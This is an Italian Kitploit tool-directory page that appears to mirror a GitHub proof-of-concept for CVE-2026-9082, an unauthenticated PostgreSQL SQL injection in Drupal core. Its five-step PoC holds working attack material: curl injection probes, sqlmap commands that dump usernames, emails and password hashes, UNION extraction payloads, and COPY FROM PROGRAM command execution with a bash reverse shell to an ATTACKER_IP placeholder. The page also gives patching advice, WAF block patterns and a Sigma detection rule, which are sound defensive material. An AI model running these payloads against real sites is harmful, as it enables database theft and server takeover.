Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-9082 — cve poc | Kitploit
Strumenti/GitHubGitHub/lysophavin18/cve-2026-9082
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza dei Database
GitHublysophavin18/cve-2026-9082

cve-2026-9082

cve poc

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-9082

Tipo: SQL Injection (CWE-89) Prodotto interessato: Drupal Core (API di astrazione del database) Avviso Drupal: SA-CORE-2026-004 Pubblicato: 20 maggio 2026 Gravità: Altamente Critica (Drupal 20/25 | NVD CVSS 6.5)


Cos'è?

CVE-2026-9082 è una vulnerabilità di SQL Injection nell'API di astrazione del database del core di Drupal. Il livello DB di Drupal avvolge PDO e sanifica tutte le query prima che raggiungano il database. Questa vulnerabilità aggira tale sanificazione solo per i backend PostgreSQL: richieste HTTP appositamente costruite superano la logica di normalizzazione, iniettando frammenti SQL controllati dall'attaccante direttamente nelle query del database.

MySQL e MariaDB non sono interessati dal vettore di iniezione, sebbene la release di patch includa anche correzioni critiche per Symfony/Twig valide per tutti i backend.


Versioni Interessate

RamoVersioni vulnerabiliVersione corretta
Drupal 10.4.x / 8.9.x8.9.0–10.4.910.4.10
Drupal 10.5.x10.5.0–10.5.910.5.10
Drupal 10.6.x10.6.0–10.6.810.6.9
Drupal 11.0.x–11.1.x11.0.0–11.1.911.1.10
Drupal 11.2.x11.2.0–11.2.1111.2.12
Drupal 11.3.x11.3.0–11.3.911.3.10

Prerequisito: Il target deve utilizzare PostgreSQL come backend del database.


Come Funziona (Aspetto Tecnico)

Il livello di astrazione DB di Drupal sanifica i valori tramite query parametrizzate/prepared statement, ma si affida al query builder per fornire SQL strutturale affidabile (nomi dei campi, operatori, target di ORDER BY). Il bug risiede nel modo in cui il driver PostgreSQL gestisce determinati pattern di input durante la costruzione delle query: il dialetto SQL di PostgreSQL differisce da quello di MySQL in aspetti chiave:

  • Concatenazione di stringhe con ||
  • Cast di tipo con ::
  • Dollar-quoting (citazione con segno del dollaro)
  • Comando COPY ... FROM PROGRAM
  • Gestione differente degli operatori

Una richiesta opportunamente costruita introduce caratteri/sequenze che superano la sanificazione a livello di valori di Drupal ma vengono interpretati come SQL strutturale dal parser di PostgreSQL. La superficie d'attacco è raggiungibile senza autenticazione tramite qualsiasi endpoint che passi parametri controllati dall'utente nelle query del database (ricerca, filtri delle viste, invio di moduli, JSON:API, ecc.).

Catena di Sfruttamento

root@kitploit:~
Attacker (unauthenticated)
  |
  |--> HTTP request with crafted parameter
  |    (e.g. search field, filter, form input)
  |
  v
Drupal DB Abstraction API
  |
  |--> Sanitization bypass (PostgreSQL-specific)
  |
  v
PostgreSQL executes injected SQL
  |
  |--> Information disclosure (dump entire DB)
  |--> Privilege escalation (inject admin credentials)
  |--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)

Perché È Pericolosa

  1. Nessuna autenticazione richiesta — qualsiasi sito Drupal esposto su Internet con PostgreSQL è vulnerabile
  2. Potenziale RCE — tramite COPY TO PROGRAM 'cmd' se l'utente del database ha privilegi di superuser
  3. Accesso completo al DB — account utente, hash delle password, token di sessione, PII
  4. Ampio range di versioni — intero ciclo di vita di Drupal 8/10/11
  5. Rischio composito — la stessa patch copre Twig SSTI; un attaccante può concatenare SQLi → creazione di admin → SSTI per RCE

L'avviso stesso di Drupal: "gli exploit potrebbero essere sviluppati entro ore o giorni dalla divulgazione" (coerente con le CVE storiche del layer DB di Drupal come SA-CORE-2014-005 / Drupalgeddon).


Proof-of-Concept (Solo per Test di Laboratorio Autorizzati)

Passo 1: Identificare gli Endpoint Candidati

root@kitploit:~
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"

Passo 2: Rilevare l'Iniezione Specifica per PostgreSQL

root@kitploit:~
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"

# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"

# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"

Passo 3: Estrazione Automatica (sqlmap, Test Autorizzati)

root@kitploit:~
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  --level=5 --risk=3 \
  --technique=BEUST \
  --tamper=space2comment,between \
  --dbs

# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  -D drupal -T users_field_data \
  -C name,mail,pass --dump

Passo 4: Estrazione Manuale Basata su UNION (Concettuale)

root@kitploit:~
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2--  -- increment until error

-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--

-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--

Passo 5: RCE tramite COPY TO PROGRAM (Se l'Utente del DB È Superuser)

root@kitploit:~
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;

-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

Mitigazione

Immediato: Applicare la Patch a Drupal

root@kitploit:~
# Composer (recommended)
composer update drupal/core drupal/core-recommended

# Verify version
php core/scripts/drupal --version

# OR via Drush
drush updb && drush cr

Indurimento del Database

root@kitploit:~
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false

WAF (Solo Soluzione Temporanea — Non un Sostituto della Patch)

Bloccare i pattern: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--

Rete

Assicurarsi che PostgreSQL sia in ascolto solo su localhost o su un'interfaccia privata; non raggiungibile da Internet.


Segnali di Rilevamento

Regola Sigma (Rilevamento)

root@kitploit:~
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains:
      - "pg_sleep"
      - "UNION+SELECT"
      - "::text"
      - "::integer"
      - "COPY+TO"
      - "%27--"
  filter:
    cs-uri-stem|contains:
      - "/search/"
      - "/views/ajax"
      - "/jsonapi/"
  condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]

Riepilogo

CVE-2026-9082 è una SQL injection senza autenticazione nel core di Drupal che colpisce i backend PostgreSQL. Nonostante un CVSS NVD moderato di 6.5, Drupal la valuta 20/25 (Altamente Critica) perché l'accesso non autenticato + COPY TO PROGRAM di PostgreSQL = RCE diretta in ambienti configurati in modo non corretto. L'ampio range di versioni interessate e le correzioni incluse per Twig SSTI rendono questa una patch critica e urgente per tutti i siti Drupal, in particolare quelli su PostgreSQL in deployment esposti a Internet.

Azione consigliata: Aggiornare immediatamente alla versione patchata per il proprio ramo. Verificare che l'utente applicativo del database non sia un superuser PostgreSQL.

Scarica lo strumento
SorgenteSegnale
Log webpg_sleep, ::, UNION SELECT, --, COPY PROGRAM nelle stringhe di query
Log di PostgreSQLErrori di sintassi correlati ai timestamp delle richieste web
watchdog di DrupalEccezioni DB dagli endpoint di ricerca/viste/jsonapi
auditdpostgres che genera processi figli (COPY TO PROGRAM)
Tabella utenti di DrupalNuove righe di ruolo administrator con timestamp recenti